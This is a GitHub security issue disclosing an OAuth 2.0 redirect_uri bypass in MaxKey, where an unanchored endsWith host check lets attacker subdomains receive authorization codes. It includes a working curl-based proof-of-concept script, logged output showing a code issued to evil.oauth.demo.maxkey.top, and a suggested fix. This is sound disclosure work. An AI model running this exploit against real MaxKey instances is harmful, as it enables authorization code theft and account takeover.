Skip to content

OAuth 2.0 redirect_uri bypass via subdomain prefix allows authorization code theft #269

Description

@geo-chen

Summary

DefaultRedirectResolver.hostMatches() uses requested.endsWith(registered) with matchSubdomains = true (hardcoded, never overridden). This allows an attacker who controls any domain sharing a suffix with the registered redirect URI to receive OAuth 2.0 authorization codes for any user who can be social-engineered into clicking a crafted authorization URL. Exchanging the stolen code for an access token grants full account access to the victim's identity within the connected application.

Technical details

File: maxkey-protocols/maxkey-protocol-oauth-2.0/src/main/java/org/dromara/maxkey/authz/oauth2/provider/endpoint/DefaultRedirectResolver.java

private boolean matchSubdomains = true;   // never set to false anywhere in the codebase

protected boolean hostMatches(String registered, String requested) {
    if (matchSubdomains) {
        return requested.endsWith(registered);   // VULNERABLE
    }
    return registered.equals(requested);
}

java.net.URL.getHost() returns only the hostname without the port, so the check compares bare hostnames. Given a registered redirect URI of http://oauth.demo.maxkey.top:9521/path, the server calls hostMatches("oauth.demo.maxkey.top", "evil.oauth.demo.maxkey.top"), which evaluates "evil.oauth.demo.maxkey.top".endsWith("oauth.demo.maxkey.top") -- true. The path check req.getPath().startsWith(reg.getPath()) also passes because the paths are identical.

Because endsWith is not anchored to a dot boundary, it also matches domains that are suffixes without any separator: eviloauth.demo.maxkey.top passes against oauth.demo.maxkey.top.

The authorization code flow in AuthorizationEndpoint stores the resolved (attacker-controlled) redirect URI on the AuthorizationRequest in the user session at step 1 (GET /authz/oauth/v20/authorize). Step 2 (POST to /authz/oauth/v20/authorize/approval) reads that stored request and issues the authorization code to whatever URI was resolved.

Steps to reproduce

Prerequisites:

  • A running MaxKey instance.
  • An OAuth 2.0 client registered with redirect URI http://REGISTERED.HOST/callback (here: http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp, client_id 822177968448077824).
  • Attacker controls a domain that ends with the registered hostname, e.g. evil.oauth.demo.maxkey.top.
  • A victim user with an active MaxKey session (or who can be directed to log in via the crafted URL).

PoC

#!/usr/bin/env bash
# MaxKey OAuth2 redirect_uri bypass -- live-validated against v4.1.11
# Replace TARGET_HOST, CLIENT_ID, REGISTERED_URI_ENCODED, EVIL_URI_ENCODED
# with values matching your MaxKey instance.

TARGET="http://127.0.0.1:9527"
SSO_HOST="sso.maxkey.top"
CLIENT_ID="822177968448077824"
# Registered URI (exists in DB): http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp
# Evil URI (attacker-controlled): http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp
EVIL_URI="http%3A%2F%2Fevil.oauth.demo.maxkey.top%3A9521%2Fdemo-oauth%2Foauth20callback.jsp"

# Step 0: obtain a victim's congress cookie (JWT) -- this simulates the victim's active session.
STATE=$(curl -s "$TARGET/sign/login/get" -H "Host: $SSO_HOST" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['state'])")

TOKEN=$(curl -s -c /tmp/victim_cookies.txt -X POST "$TARGET/sign/login/signin" \
  -H "Host: $SSO_HOST" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"admin\",\"password\":\"maxkey\",\"captcha\":\"\",\"state\":\"$STATE\",\"remember\":\"false\",\"authType\":\"normal\"}" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")

JSESSION=$(grep JSESSIONID /tmp/victim_cookies.txt | awk '{print $NF}')

# Step 1 (attacker sends victim a link to this URL):
# GET /authz/oauth/v20/authorize with evil redirect_uri
# MaxKey calls hostMatches("oauth.demo.maxkey.top", "evil.oauth.demo.maxkey.top")
# "evil.oauth.demo.maxkey.top".endsWith("oauth.demo.maxkey.top") == true  --> ACCEPTED
# Server stores the evil URI on the AuthorizationRequest in the session.
curl -s \
  "$TARGET/sign/authz/oauth/v20/authorize?client_id=$CLIENT_ID&response_type=code&redirect_uri=$EVIL_URI&approval_prompt=auto" \
  -H "Host: $SSO_HOST" \
  -H "Cookie: JSESSIONID=$JSESSION; congress=$TOKEN" \
  -o /dev/null

# Step 2: POST approval (or the user clicks "Authorize" on the approval page)
RESULT=$(curl -s -X POST \
  "$TARGET/sign/authz/oauth/v20/authorize/approval?user_oauth_approval=true" \
  -H "Host: $SSO_HOST" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: JSESSIONID=$JSESSION; congress=$TOKEN" \
  -d "user_oauth_approval=true&authorize=Authorize")

echo "Response: $RESULT"
# Expected (confirmed output):
# {"code":0,"message":null,"data":"http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp?code=5cba47b2-f3cb-4e31-989f-211df0015910"}

Observed output (live run against MaxKey v4.1.11)

Response: {"code":0,"message":null,"data":"http://evil.oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp?code=5cba47b2-f3cb-4e31-989f-211df0015910"}

The authorization code 5cba47b2-f3cb-4e31-989f-211df0015910 was issued to the attacker-controlled domain evil.oauth.demo.maxkey.top. The database-registered redirect URI for this client is:

http://oauth.demo.maxkey.top:9521/demo-oauth/oauth20callback.jsp

Impact

An attacker who registers (or controls) any domain whose hostname ends with the registered redirect URI's hostname can steal OAuth 2.0 authorization codes for any user who follows a crafted authorization URL. The code can then be exchanged for an access token at the token endpoint, granting the attacker full access to the victim's account within the OAuth-integrated application. In a real deployment where matchSubdomains=true with a registered domain such as company.example.com, an attacker controlling evilcompany.example.com or attacker.company.example.com can exploit this without any cooperation from the legitimate application.

Suggested fix

Set matchSubdomains = false, which causes hostMatches() to use registered.equals(requested) (exact match). If subdomain matching is intentionally required, replace endsWith with a dot-anchored check:

protected boolean hostMatches(String registered, String requested) {
    if (matchSubdomains) {
        // Correct: require a dot separator to prevent prefix hijacking
        return requested.equals(registered)
            || requested.endsWith("." + registered);
    }
    return registered.equals(requested);
}

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions